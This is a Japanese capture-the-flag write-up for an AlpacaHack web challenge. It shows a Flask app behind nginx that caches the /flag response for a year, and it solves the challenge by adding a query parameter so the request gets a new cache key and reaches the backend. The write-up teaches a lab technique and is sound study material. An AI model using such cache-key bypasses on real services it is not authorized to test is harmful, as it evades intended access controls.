FEAT:🚩 Daily-AlpacaHack 「Cache Me If You Can」Easy
リバースプロキシ キャッシュ機構バイパス
20260602-daily-web-easy-Cache_Me_If_You_Can
Summary
本問は,リバースプロキシのキャッシュ機構をバイパスする問題です.
- Category: Web
- Description: フラグがわかるのは1年後
- Tools & TechStack:
- Python (Flask)
- Nginx
- Flag:
{*** REDACTED ***}
階層構造
1
2
3
4
5
6
7
8
9
10
.
├── app
│ ├── Dockerfile
│ └── server.py
├── compose.yaml
└── nginx
├── default.conf
└── Dockerfile
3 directories, 5 files
Solution Path
ソースコードの調査
/flag に対しての 初回アクセス (first_request = True) であれば,Cache me if you can. という文字列を返し,グローバル変数を False に書き換えます. 既に False の状態なため,次に /flag アクセスすることで,FLAG が返ってくるはずです.
app/server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask
FLAG = "Alpaca{REDACTED}"
app = Flask(__name__)
first_request = True
@app.get("/")
def index():
return "Try /flag. The cache stores responses for one year :P"
@app.get("/flag")
def flag():
global first_request
# print(first_request, flush=True) # デバッグ用
body = "Cache me if you can." if first_request else FLAG
first_request = False
return body
app.run(host="0.0.0.0", port=8000)
server.py 動作検証
ログを見ると,2回目の通信がサーバに届いていません. これは,nginx リバースプロキシが同一リクエストをキャッシュしているためです.そこで,nginx の default.conf を見ます.
app コンテナのログ
1
2
3
4
5
6
7
8
9
10
$ docker logs -f 0bf0d7ee6f88
* Serving Flask app 'server'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:8000
* Running on http://172.19.0.2:8000
Press CTRL+C to quit
True
172.19.0.3 - - [02/Jun/2026 08:07:04] "GET /flag HTTP/1.1" 200 -
リクエスト
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 1回目
$ curl -i http://172.17.0.1:3000/flag
HTTP/1.1 200 OK
Server: nginx/1.31.1
Date: Tue, 02 Jun 2026 08:07:04 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 20
Connection: keep-alive
Cache me if you can.%
# 2回目
$ curl -i http://172.17.0.1:3000/flag
HTTP/1.1 200 OK
Server: nginx/1.31.1
Date: Tue, 02 Jun 2026 08:08:34 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 20
Connection: keep-alive
Cache me if you can.
Nginx のキャッシュ設定
inactive=365d: 365日間アクセスの無いキャッシュを削除するlocation / {...}: ルート以下すべてに共通の設定を定義するproxy_pass http://app:8000;: 届いたリクエストをバックエンドで動いているhttp://app:8000(Flaskサーバー) へ転送 するproxy_cache flag_cache;:flag_cacheキャッシュ領域を有効化するproxy_cache_valid 200 365d;: Flaskから返ってきたレスポンスのステータスコードが200 OKだった場合,その内容を 365日間 キャッシュとして有効な正しいデータとみなす
nginx/default.conf
1
2
3
4
5
6
7
8
9
10
11
proxy_cache_path /var/cache/nginx/proxy keys_zone=flag_cache:10m inactive=365d;
server {
listen 80;
location / {
proxy_pass http://app:8000;
proxy_cache flag_cache;
proxy_cache_valid 200 365d;
}
}
この設定のせいで,本来はサーバから FLAG が返ってくるはずが一番最初にアクセスした状態のキャッシュが返ってきています. しかも,普通に使用すると 365 日経たなければキャッシュが解除されません.さすがにそんなに待てないので,キャッシュをバイパスする方法を考えます.
キャッシュのバイパス
ここで,キャッシュを使用させないためには,リバースプロキシに同一のリクエストではないと認識させる必要があります. 同一のリクエストをどのように認識し分けているのかを調べると,ngx_http_proxy_module の proxy_cache_key という機能1 を使用しているようです.
設定ファイルで明示的に指定しない場合,キャッシュキーは $scheme$proxy_host$request_uri で定義されていました. デフォルトでは,このディレクティブの値は $scheme$proxy_host$uri$is_args$args の文字列に近いらしいです.
この組み込み変数を分解すると,以下のように定義されていました.
$scheme:httpやhttps等のプロトコル指定子$proxy_host: バックエンドのホスト名やIP (今回の場合はapp:8000)$uri: リクエストされたパス部分 (例:/flag)$is_args: クエリパラメータが存在する場合は?、なければ空文字$args: クエリパラメータそのもの (例:a=1やa=2)
これを見るに,別のリクエストと判断させる要素として,現状況で唯一使用可能なのは,クエリパラメータです. なので,クエリパラメータを付けてリクエストすることで /flag へのリクエストでありながら,別のものであると認識させ,キャッシュを利用させないことができます.
Exploitation
http://172.17.0.1:3000/flag: 初回アクセスで,first_request = Falseとなり,FLAGが出力可能な状態になるhttp://172.17.0.1:3000/flag?q=1: クエリパラメータにより,別々のリクエストとして処理され,既にFalseなためFLAGが返ってくる
app コンテナのログ
1
2
3
4
5
6
7
8
9
10
11
12
$ docker logs -f e2af60d21ed6
* Serving Flask app 'server'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:8000
* Running on http://172.19.0.2:8000
Press CTRL+C to quit
True
172.19.0.3 - - [02/Jun/2026 08:40:48] "GET /flag HTTP/1.1" 200 -
False
172.19.0.3 - - [02/Jun/2026 08:41:11] "GET /flag?q=1 HTTP/1.1" 200 -
リクエスト
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ curl -i http://172.17.0.1:3000/flag
HTTP/1.1 200 OK
Server: nginx/1.31.1
Date: Tue, 02 Jun 2026 08:40:48 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 20
Connection: keep-alive
Cache me if you can.
$ curl -i 'http://172.17.0.1:3000/flag?q=1'
HTTP/1.1 200 OK
Server: nginx/1.31.1
Date: Tue, 02 Jun 2026 08:41:11 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 16
Connection: keep-alive
Alpaca{REDACTED}%